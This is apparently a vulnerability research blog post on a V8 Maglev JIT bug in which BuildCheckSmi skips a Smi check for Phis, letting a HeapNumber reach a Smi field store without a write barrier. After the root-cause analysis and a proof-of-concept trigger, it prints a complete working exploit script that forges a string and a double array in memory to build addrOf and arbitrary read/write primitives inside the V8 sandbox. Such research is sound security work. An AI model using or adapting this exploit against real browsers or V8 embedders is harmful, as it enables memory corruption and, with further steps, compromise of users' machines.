Table of Contents
Open Table of Contents
Introduction
This CVE was reported shortly after CVE-2026-3910, which I analyzed in a previous post. I chose to look at it next because both issues are related to the same V8 feature: Phi untagging. Since the two bugs share some background, I will avoid repeating the full explanation of that feature here and focus instead on the root cause.
Root Cause Analysis
The bug lies in MaglevGraphBuilder::BuildCheckSmi():
ReduceResult MaglevGraphBuilder::BuildCheckSmi(
ValueNode* object, bool elidable,
AllowWideningSmiToInt32 allow_widening_smi_to_int32) {
if (object->StaticTypeIs(broker(), NodeType::kSmi)) return object;
// Check for the empty type first so that we catch the case where
// GetType(object) is already empty.
if (IsEmptyNodeType(IntersectType(
GetType(object, allow_widening_smi_to_int32), NodeType::kSmi))) {
return EmitUnconditionalDeopt(DeoptimizeReason::kSmi);
}
if (EnsureType(object, NodeType::kSmi) && elidable) return object;
RecordSmiUse(object);
// For constants, we may be able to skip the runtime check.
if (std::optional<int32_t> constant_value = TryGetInt32Constant(object)) {
if (Smi::IsValid(constant_value.value())) return object;
}
switch (object->value_representation()) {
case ValueRepresentation::kInt32:
if (!SmiValuesAre32Bits()) {
AddNewNodeNoInputConversion<CheckInt32IsSmi>({object});
}
break;
case ValueRepresentation::kUint32:
AddNewNodeNoInputConversion<CheckUint32IsSmi>({object});
break;
case ValueRepresentation::kFloat64:
AddNewNodeNoInputConversion<CheckFloat64IsSmi>({object});
break;
case ValueRepresentation::kHoleyFloat64:
AddNewNodeNoInputConversion<CheckHoleyFloat64IsSmi>({object});
break;
case ValueRepresentation::kTagged:
AddNewNodeNoInputConversion<CheckSmi>({object});
break;
case ValueRepresentation::kIntPtr:
AddNewNodeNoInputConversion<CheckIntPtrIsSmi>({object});
break;
case ValueRepresentation::kRawPtr:
case ValueRepresentation::kNone:
UNREACHABLE();
}
return object;
}
The first question is: when is this function called, and what is it used for? I wrote a small test script whose main purpose is to reach this function, and the backtrace looks like this:
#0 MaglevGraphBuilder::BuildCheckSmi
#1 MaglevGraphBuilder::GetSmiValue
#2 MaglevGraphBuilder::GetSmiValue
#3 MaglevGraphBuilder::GetAccumulatorSmi
#4 MaglevGraphBuilder::TryBuildStoreField
#5 MaglevGraphBuilder::TryBuildPropertyStore
#6 MaglevGraphBuilder::TryBuildPropertyAccess
#7 MaglevGraphBuilder::TryBuildNamedAccess
#8 MaglevGraphBuilder::VisitSetNamedProperty
#9 MaglevGraphBuilder::VisitSingleBytecode
#10 MaglevGraphBuilder::BuildBody
#11 MaglevGraphBuilder::Build
#12 MaglevCompiler::Compile
The important part starts at VisitSetNamedProperty(). Maglev is compiling a named property store bytecode, then follows the feedback through the property access builder. The feedback resolves to a direct field store, so execution reaches TryBuildStoreField(). Because the target field has a Smi representation, Maglev reads the accumulator as a Smi through GetAccumulatorSmi() and GetSmiValue(). That eventually reaches BuildCheckSmi(), where V8 either proves the Smi check unnecessary or emits a check for the value being written.
For example, consider the following code:
let obj = { x: 1 };
function opt_me() {
obj.x = 42;
}
%PrepareFunctionForOptimization(opt_me);
opt_me();
%OptimizeMaglevOnNextCall(opt_me);
opt_me();
%DebugPrint(opt_me);
Check the %DebugPrint output and look at the feedback vector for opt_me:
- slot #0 SetNamedSloppy MONOMORPHIC
0x33740101e289 <Map[16](HOLEY_ELEMENTS)>: StoreHandler(Smi)(kind = kField, descriptor = 0, is in object = 1, representation = s, storage offset in words = 3)
{
[0]: [weak] 0x33740101e289 <Map[16](HOLEY_ELEMENTS)>
[1]: 3342336
}
Here, feedback slot #0 is SetNamedSloppy MONOMORPHIC, which means this obj.x = 42 call site has only observed a single Map for obj. The StoreHandler has kind = kField, indicating that the store is optimized as a direct write into the object’s field/property storage. descriptor = 0 points to the descriptor for property x in the Map. is in object = 1 means the field is stored inline inside the object, rather than in the external property backing store. storage offset in words = 3 is the corresponding field position in the object layout. Most importantly, representation = s means the current field representation is a Smi. In other words, while collecting feedback, V8 saw values written to x as Smis, such as 42, so the IC/handler recorded this field with a Smi representation. If we set a breakpoint and run the script in gdb, we can also reach BuildCheckSmi():

This behavior is correct for the simple case above. The value being stored is a SmiConstant(42), so BuildCheckSmi() does not need to emit a runtime CheckSmi node. The node is already statically known to be a Smi.
The interesting case starts when the value being stored is a Phi. Before going into the bug, let’s look at one small helper in the Phi untagging phase: MaglevPhiRepresentationSelector::EnsurePhiInputsTagged(). After graph building, MaglevPhiRepresentationSelector may untag some Phis into machine representations such as Int32, Float64, or HoleyFloat64. But not every Phi is untagged. Some Phis must remain tagged.
The rule is simple:
If a Phi stays tagged, all inputs feeding that Phi must also be tagged.
This helper exists to preserve that rule. Imagine this shape:
Before:
inner = Phi<Tagged>(...)
outer = Phi<Tagged>(inner, SmiConstant(1))
After untagging inner:
inner = Phi<Int32>(...)
outer = Phi<Tagged>(inner, SmiConstant(1)) // invalid representation mix
outer is still a tagged Phi, but one of its inputs is now an untagged Int32 Phi. EnsurePhiInputsTagged(outer) fixes it by inserting a retagging node on the predecessor edge:
inner = Phi<Int32>(...)
retag = Int32ToNumber[kCanonicalizeSmi](inner)
outer = Phi<Tagged>(retag, SmiConstant(1))
The function is straightforward:
void MaglevPhiRepresentationSelector::EnsurePhiInputsTagged(Phi* phi) {
const int skip_backedge = phi->is_loop_phi() ? 1 : 0;
for (int i = 0; i < phi->input_count() - skip_backedge; i++) {
ValueNode* input = phi->input(i).node();
if (Phi* phi_input = input->TryCast<Phi>()) {
phi->change_input(i,
EnsurePhiTagged(phi_input, phi->predecessor_at(i),
BasicBlockPosition::End(), nullptr, i));
} else {
DCHECK(input->is_tagged());
}
}
}
The function does not decide whether phi should be tagged or untagged. That decision has already been made by ProcessPhi(). It only says: “this Phi is staying tagged, so make sure its Phi inputs are tagged too.”
The call to EnsurePhiTagged() is placed at BasicBlockPosition::End() of phi->predecessor_at(i) because Phi inputs are edge values. Input 0 comes from predecessor 0, input 1 comes from predecessor 1, and so on. The final argument i lets EnsurePhiTagged() look up or reuse an existing retagging for that predecessor path through the phi_taggings_ snapshot table.
The skip_backedge detail is for loop Phis:
const int skip_backedge = phi->is_loop_phi() ? 1 : 0;
For loop Phis, the last input is the backedge. This function skips it because loop backedges are fixed separately by FixLoopPhisBackedge(). In short, EnsurePhiInputsTagged() is a repair step inside Phi untagging: when a Phi remains tagged, it retags any Phi inputs that were already untagged.
Now we can connect this helper back to the vulnerable function. The vulnerable store is a Smi field store, so TryBuildStoreField() asks for the accumulator as a Smi:
if (field_representation.IsSmi()) {
RETURN_IF_ABORT(GetAccumulatorSmi(UseReprHintRecording::kDoNotRecord));
}
GetAccumulatorSmi() goes through GetSmiValue(), and for tagged values it reaches BuildCheckSmi():
ReduceResult MaglevGraphBuilder::GetSmiValue(
ValueNode* value, UseReprHintRecording record_use_repr_hint) {
if (V8_LIKELY(record_use_repr_hint == UseReprHintRecording::kRecord)) {
value->MaybeRecordUseReprHint(UseRepresentation::kTagged);
}
NodeInfo* node_info = GetOrCreateInfoFor(value);
ValueRepresentation representation =
value->properties().value_representation();
if (representation == ValueRepresentation::kTagged) {
return BuildCheckSmi(value, !value->Is<Phi>());
}
A Smi is still a tagged value in V8, but a tagged value is not always a Smi. It can also be a heap object, such as a HeapNumber. So when a tagged value is written into a Smi-only field, Maglev still needs to preserve the Smi requirement.
For non-Phi values, the check may be safely elided when the type information is strong enough. For a Phi, however, this call passes elidable = false. That is a signal from the graph builder: this value is going into a Smi-only location, so the graph should contain a real Smi requirement for it.
But BuildCheckSmi() has an earlier exit:
ReduceResult MaglevGraphBuilder::BuildCheckSmi(
ValueNode* object, bool elidable,
AllowWideningSmiToInt32 allow_widening_smi_to_int32) {
if (object->StaticTypeIs(broker(), NodeType::kSmi)) return object;
// ...
}
The important line is:
if (object->StaticTypeIs(broker(), NodeType::kSmi)) return object;
This return happens before the function looks at elidable. So even though GetSmiValue() asked for a non-elidable Smi check for a Phi, a Phi whose static type is already NodeType::kSmi returns immediately. The resulting graph has a Smi field store, but no explicit CheckSmi node guarding the value that reaches the store.
The missing check becomes dangerous after Phi representation selection rewrites part of the graph. The PoC below creates that situation:
const MAX_SMI = %MaxSmi();
let victim = { x: 1 };
function trigger(target, a, b, x) {
let y = a ? x + 1 : 1;
const t = y | 0;
let z = b ? y : 1;
target.x = z;
return t;
}
for (let i = 0; i < 4; i++) {
gc();
}
%PrepareFunctionForOptimization(trigger);
for (let i = 0; i < 2000; i++) {
trigger(victim, true, true, i & 1023);
trigger(victim, false, true, i & 1023);
trigger(victim, true, false, i & 1023);
}
%OptimizeMaglevOnNextCall(trigger);
trigger(victim, true, true, MAX_SMI);
gc({ type: "minor" });
The warmup loop is designed to create three pieces of feedback:
x + 1uses small integer inputs, so the addition feedback becomesSignedSmall.y | 0creates a truncated Int32 use ofy.target.x = zonly observes Smi values, so the fieldxis compiled as a Smi field.
These three facts correspond directly to the bytecode and feedback dump:
6 : AddSmi [1], FBV[0]
14 : BitwiseOrSmi [0], FBV[1]
31 : SetNamedProperty a0, [0:"x"], FBV[2]
- slot #0 BinaryOp BinaryOp:SignedSmall
- slot #1 BinaryOp BinaryOp:SignedSmall
- slot #2 SetNamedSloppy MONOMORPHIC
StoreHandler(Smi)(kind = kField, descriptor = 0,
is in object = 1, representation = s)
This is the whole setup in one place. The two binary operation slots tell Maglev that the arithmetic is small-integer friendly. The store slot tells Maglev that target.x is a direct Smi field. But the JavaScript control flow connects both uses through Phis.
During Maglev graph building, the first conditional creates a Phi for y:
let y = a ? x + 1 : 1;
Conceptually:
y = Phi(x + 1, 1)
Because all warmup values are Smis, this Phi is typed as a Smi while the graph is being built. Then the bitwise operation:
const t = y | 0;
creates an Int32-style use of y. Bitwise operations work on Int32 values, so this use is what later makes the Phi representation selector prefer an Int32 representation for y.
Next, the second conditional creates another Phi:
let z = b ? y : 1;
Conceptually:
z = Phi(y, 1)
This second Phi is the value stored into target.x. So z is where the two requirements meet: it is fed by y, but it is consumed by a Smi field store.
The full graph is noisy, so we only need this small diff:
y = a ? x + 1 : 1:
- 18: φᵀ <accumulator> (n17, n15)
+ 18: φᴵ <accumulator> (n13, n29)
z = b ? y : 1:
- 23: φᵀ <accumulator> (n18, n15)
+ 30: Int32ToNumber[kCanonicalizeSmi] [n18], 1 uses
+ 23: φᵀ <accumulator> (n30, n15)
Return value:
+ 31: Int32ToNumber[kCanonicalizeSmi] [n18], 1 uses
+ 28: Return [n31]
Store:
25: StoreTaggedFieldNoWriteBarrier(...) [n2, n23]
After Phi untagging, y changes from a tagged Phi (φᵀ) to an Int32 Phi (φᴵ). Because z is still tagged, Maglev inserts n30 = Int32ToNumber[kCanonicalizeSmi](n18) and feeds that into z.
You may also see this node printed right before SetNamedProperty:
31: Int32ToNumber[kCanonicalizeSmi] [n18], 1 uses
31 : 3a 03 00 02 SetNamedProperty a0, [0:"x"], FBV[2]
The first 31 is a node id (n31). The second 31 is the bytecode offset for SetNamedProperty. They are not the same thing. n31 is used by Return [n31], so it is for the function return value, not for the property store.
For the bug, the important node is n30, because n30 feeds n23, and n23 is the value passed to StoreTaggedFieldNoWriteBarrier. There is still no CheckSmi before that store.
Now look at the final call:
trigger(victim, true, true, MAX_SMI);
On this build:
MAX_SMI = 1073741823
So the a ? x + 1 : 1 branch computes:
y = 1073741823 + 1 = 1073741824
This value is still a valid Int32, so the Int32 Phi does not deopt. But it is not a valid Smi. Therefore n30 cannot produce a Smi:
Int32ToNumber[kCanonicalizeSmi](1073741824) => HeapNumber(1073741824)
Since b is true, z takes the n30 input. The final store becomes conceptually:
target.x = HeapNumber(1073741824)
That is wrong because the field was compiled as a Smi field and the store has no write barrier. If victim is old and the HeapNumber is young, the minor GC may not see this old-to-young reference. That is the memory-safety consequence of the bug.
Exploit
The exploitation strategy is almost the same as CVE-2026-3910, so I will leave the exploit script here:
var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new BigUint64Array(buf);
var u32_buf = new Uint32Array(buf);
var u8_buf = new Uint8Array(buf);
const MAX_SMI = %MaxSmi();
const layout = {
sprayIndex: 64,
fakeSlot: 14,
sprayLength: 64,
minorGcCount: 4,
};
function i2f(i) {
u64_buf[0] = BigInt(i);
return f64_buf[0];
}
function f2i(f) {
f64_buf[0] = f;
return u64_buf[0];
}
function u2f(low, high) {
u32_buf[0] = low >>> 0;
u32_buf[1] = high >>> 0;
return f64_buf[0];
}
function i2u_l(i) {
u64_buf[0] = BigInt(i);
return u32_buf[0];
}
function i2u_h(i) {
u64_buf[0] = BigInt(i);
return u32_buf[1];
}
const logInfo = m => print(`[*] ${m}`);
const logOK = m => print(`[+] ${m}`);
const logErr = m => print(`[-] ${m}`);
function toHex(x, w = 16) {
return "0x" + x.toString(16);
}
function trigger(target, a, b, x) {
let y = a ? x + 1 : 1;
const t = y | 0;
let z = b ? y : 1;
target.x = z;
return t;
}
function makeSpray() {
const arr = [];
for (let i = 0; i < layout.sprayLength; i++) {
arr.push(u2f(0xcc, i));
}
return arr;
}
let victim = { x: 1 };
let warm = { x: 1 };
let obj = [];
let spray = makeSpray();
let target_obj;
for (let i = 0; i < 4; i++) gc();
%PrepareFunctionForOptimization(trigger);
for (let i = 0; i < 3000; i++) {
trigger(warm, true, true, i & 1023);
trigger(warm, false, true, i & 1023);
trigger(warm, true, false, i & 1023);
}
%OptimizeMaglevOnNextCall(trigger);
trigger(victim, true, true, MAX_SMI);
for (let i = 0; i < layout.minorGcCount; i++) {
gc({ type: "minor" });
}
// Reclaim target and nearby leak target.
obj[layout.sprayIndex] = spray.slice();
obj[layout.sprayIndex + 1] = [1.1];
target_obj = {};
// Forge victim.x as SeqOneByteString:
// +0x0 map
// +0x4 raw_hash_field
// +0x8 length
obj[layout.sprayIndex][layout.fakeSlot] = u2f(0x105, 0);
obj[layout.sprayIndex][layout.fakeSlot + 1] = u2f(0x10000, 0);
if (typeof victim.x !== "string") {
print("string forge failed:", typeof victim.x);
quit(1);
}
let leak = victim.x;
let doubleArrayMap = 0;
let doubleArrayProperties = 0;
let doubleArrayElements = 0;
for (let off = 0; off < 0x2000; off += 4) {
// High 32 bits of the double 1.1 marker: 0x3ff19999.
if (
leak.charCodeAt(off) !== 0x99 ||
leak.charCodeAt(off + 1) !== 0x99 ||
leak.charCodeAt(off + 2) !== 0xf1 ||
leak.charCodeAt(off + 3) !== 0x3f
) {
continue;
}
doubleArrayMap =
(leak.charCodeAt(off + 4) |
(leak.charCodeAt(off + 5) << 8) |
(leak.charCodeAt(off + 6) << 16) |
(leak.charCodeAt(off + 7) << 24)) >>>
0;
doubleArrayProperties =
(leak.charCodeAt(off + 8) |
(leak.charCodeAt(off + 9) << 8) |
(leak.charCodeAt(off + 10) << 16) |
(leak.charCodeAt(off + 11) << 24)) >>>
0;
doubleArrayElements =
(leak.charCodeAt(off + 12) |
(leak.charCodeAt(off + 13) << 8) |
(leak.charCodeAt(off + 14) << 16) |
(leak.charCodeAt(off + 15) << 24)) >>>
0;
break;
}
print("doubleArrayMap = 0x" + doubleArrayMap.toString(16));
print("doubleArrayProps = 0x" + doubleArrayProperties.toString(16));
print("doubleArrayElements = 0x" + doubleArrayElements.toString(16));
if (
doubleArrayMap === 0 ||
doubleArrayProperties === 0 ||
doubleArrayElements === 0
) {
print("leak failed");
quit(1);
}
// Re-forge victim.x as a PACKED_DOUBLE_ELEMENTS JSArray with a large length.
obj[layout.sprayIndex][layout.fakeSlot] = u2f(
doubleArrayMap,
doubleArrayProperties
);
obj[layout.sprayIndex][layout.fakeSlot + 1] = u2f(
doubleArrayElements,
0x20000 << 1
);
print("evil length =", victim.x.length);
// %DebugPrint(victim.x);
// %DebugPrint(target_obj);
function AddrOf(target) {
target_obj[0] = target;
victim.x[1] = u2f(doubleArrayMap, doubleArrayProperties);
return i2u_l(f2i(target_obj[0]));
}
function CageRead(addr) {
if (addr % 2 == 0) {
addr += 1;
}
victim.x[1] = u2f(doubleArrayMap, doubleArrayElements);
victim.x[2] = u2f(addr - 0x8, 0x20000);
return f2i(target_obj[0]);
}
function CageWrite(addr, value) {
if (addr % 2 == 0) {
addr += 1;
}
victim.x[1] = u2f(doubleArrayMap, doubleArrayElements);
victim.x[2] = u2f(addr - 0x8, 0x20000);
target_obj[0] = i2f(value);
}
logInfo("Testing primitives...");
let tmp = [1.1, 2.2, 3.3];
let tmpAddr = AddrOf(tmp);
logOK(`Address of tmp array: ${toHex(tmpAddr)}`);
let writeValue = 0x4141414141414141n;
CageWrite(tmpAddr + 0x20, writeValue);
let readValue = CageRead(tmpAddr + 0x20);
logOK(`Read back value: ${toHex(readValue)}`);
Note: the script above does not achieve unsandboxed RCE. It only demonstrates arbitrary read/write.